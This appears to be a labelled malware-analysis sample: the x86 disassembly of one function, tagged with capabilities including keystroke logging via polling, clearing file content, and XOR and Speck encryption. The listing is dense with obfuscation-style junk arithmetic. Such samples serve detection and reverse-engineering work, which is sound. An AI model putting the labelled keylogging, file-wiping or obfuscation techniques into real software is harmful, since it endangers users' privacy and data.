Function at 0x100136ba
Capabilities:
Clear file content
Encode data using xor
Encrypt data using speck
Log keystrokes via polling

Disassembly:
mov eax, 0x1006f536
call fcn.1006e988
mov eax, 0x123c
call fcn.1006a800
push ebx
push esi
push edi
mov dword [ebp - 0x60], ecx
lea ecx, [ebp - 0x790]
push 4
mov byte [ebp - 0x69], dl
call fcn.1000f096
push 7
pop eax
xor edx, edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], edx
mov esi, 0xff0e
jmp 0x10013705
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x790]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100136f6
mov ebx, dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov edi, 0x98
push 3
mov dword [ebp - 0x18], edx
pop eax
jmp 0x1001373b
mov byte [ebp - 0x39], dl
cmp byte [ebp - 0x39], 0
je 0x10013738
push edi
push edx
push edx
push edx
push 0x191a
push edx
call ebx
push 3
xor edx, edx
pop eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x1001371e
lea ecx, [ebp - 0x790]
call fcn.1000f6c9
push 4
lea ecx, [ebp - 0x748]
call fcn.1000f096
push 7
pop eax
xor edx, edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], edx
jmp 0x10013774
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x748]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10013765
push 3
mov dword [ebp - 0x18], edx
pop esi
jmp 0x1001379c
mov byte [ebp - 0x39], dl
cmp byte [ebp - 0x39], 0
je 0x10013799
push edi
push edx
push edx
push edx
push 0x191a
push edx
call ebx
xor edx, edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x10013782
lea ecx, [ebp - 0x748]
call fcn.1000f6c9
xor edi, edi
mov dword [ebp - 0x24], 0xbac64a68
inc edi
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x38], edi
lea ecx, [ebp - 0x62c]
push 2
call fcn.1000f096
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], eax
jmp 0x100137ea
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x62c]
mov dword [eax + ecx*4], 0x9233c9e4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100137d7
mov dword [ebp - 0x34], 0x21eb
cmp dword [ebp - 0x34], 0xde4
jge 0x100138b6
lea eax, [ebp - 0x1b0]
xorps xmm0, xmm0
push eax
mov ecx, 0x10663e50
movlpd qword [ebp - 0x50], xmm0
call fcn.1001fad8
mov ecx, dword [ebp - 0x1b0]
mov eax, ecx
mov edx, dword [ebp - 0x1ac]
or eax, edx
je 0x100138a0
mov eax, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x14], eax
push 0
push 0xa
push edx
push ecx
call fcn.1006a290
mov dword [ebp - 0x34], ecx
mov ecx, eax
mov eax, dword [ebp - 0x34]
cmp eax, 7
jne 0x10013854
test ebx, ebx
je 0x1001385d
cmp eax, 4
jne 0x1001386a
test ebx, ebx
jne 0x1001386a
mov ebx, dword [ebp - 0x14]
add esi, edi
adc ebx, 0
mov dword [ebp - 0x14], ebx
jmp 0x1001386d
mov ebx, dword [ebp - 0x14]
mov eax, ecx
mov dword [ebp - 0x1b0], ecx
or eax, edx
mov dword [ebp - 0x1ac], edx
jne 0x10013838
push 7
pop eax
cmp esi, eax
jne 0x1001388e
xor eax, eax
cmp ebx, eax
je 0x10013899
jmp 0x10013890
xor eax, eax
cmp esi, 4
jne 0x100138a0
cmp ebx, eax
jne 0x100138a0
mov edx, 0x1000cc34
jmp 0x100138a5
mov edx, 0x1000cc38
mov ecx, 0x10663d98
call fcn.10012900
push eax
call fcn.10012ad7
pop ecx
xor ebx, ebx
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 0xd
push 8
pop eax
jl 0x10013a8c
mov dword [ebp - 0x14], 0xd208
xor edx, edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0x5ac89d69
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, 0xbfa3
je 0x10013916
mov eax, edi
cmp dword [ebp - 0x24], ebx
jne 0x1001390e
mov eax, ebx
mov dword [ebp - 0x40], eax
jmp 0x10013a70
mov dword [ebp - 0x14], ebx
push 2
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x18], ebx
pop esi
jmp 0x10013935
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x90], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10013928
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x24], eax
jge 0x10013949
mov eax, ebx
cmp dword [ebp - 0x24], ebx
je 0x1001394b
mov eax, edi
add eax, 0x91c17854
xor edx, edx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x8c]
setl dl
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x8c]
cmp edx, eax
setg cl
cmp ecx, 0xb1aa435c
sbb eax, eax
xor edx, edx
lea ecx, [eax + 0x6588]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x8c]
setge dl
sub edx, eax
mov eax, dword [ebp - 0x8c]
add eax, 0x924f
add eax, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x8c]
neg eax
sbb eax, eax
xor edx, edx
inc eax
sub ecx, eax
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x8c], ecx
mov eax, dword [ebp - 0x24]
add eax, ecx
cmp eax, 0xfffffff7
ja 0x100139f1
mov eax, ebx
cmp dword [ebp - 0x40], ebx
je 0x100139f3
mov eax, edi
cmp eax, dword [ebp - 0x20]
jne 0x10013a4f
cmp dword [ebp - 0x90], ebx
jne 0x10013a4f
movdqa xmm0, xmmword [0x1000d4a0]
lea ecx, [ebp - 0x958]
push ecx
lea eax, [ebp - 0x948]
push eax
push ecx
lea ecx, [ebp - 0x614]
movdqu xmmword [ebp - 0x958], xmm0
call fcn.1000f0d2
cmp dword [ebp - 0x14], ebx
jne 0x10013a81
mov eax, dword [ebp - 0x614]
xor ecx, ecx
mov edx, ebx
cmp dword [eax + 8], edx
setne cl
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x614]
call fcn.1000f6c9
jmp 0x10013a6a
mov dword [ebp - 0x20], ebx
jmp 0x10013a65
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x90], 0xb816e149
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10013a54
mov eax, dword [ebp - 0x8c]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xd
jl 0x10013a8c
push 8
pop eax
jmp 0x100138c8
lea ecx, [ebp - 0x614]
call fcn.1000f6c9
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x2c]
cmp eax, 0x6edb
mov eax, dword [ebp - 0x2c]
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
setle dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x24]
push 3
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x62c]
pop esi
setl cl
sub ecx, dword [eax]
cmp ecx, esi
je 0x10013af6
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10013b00
push eax
push 0x1600
push 0x1c59
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
jmp 0x10013b00
mov dword [ebp - 0x28], 0xf79aabf6
inc dword [ebp - 0x28]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x62c]
call fcn.1000f6c9
xor ecx, ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], 0xea0e4020
mov dword [ebp - 0x18], ecx
jmp 0x10013b31
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1b8], 0xc9f7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10013b20
mov dword [ebp - 0x24], ecx
jmp 0x10013d73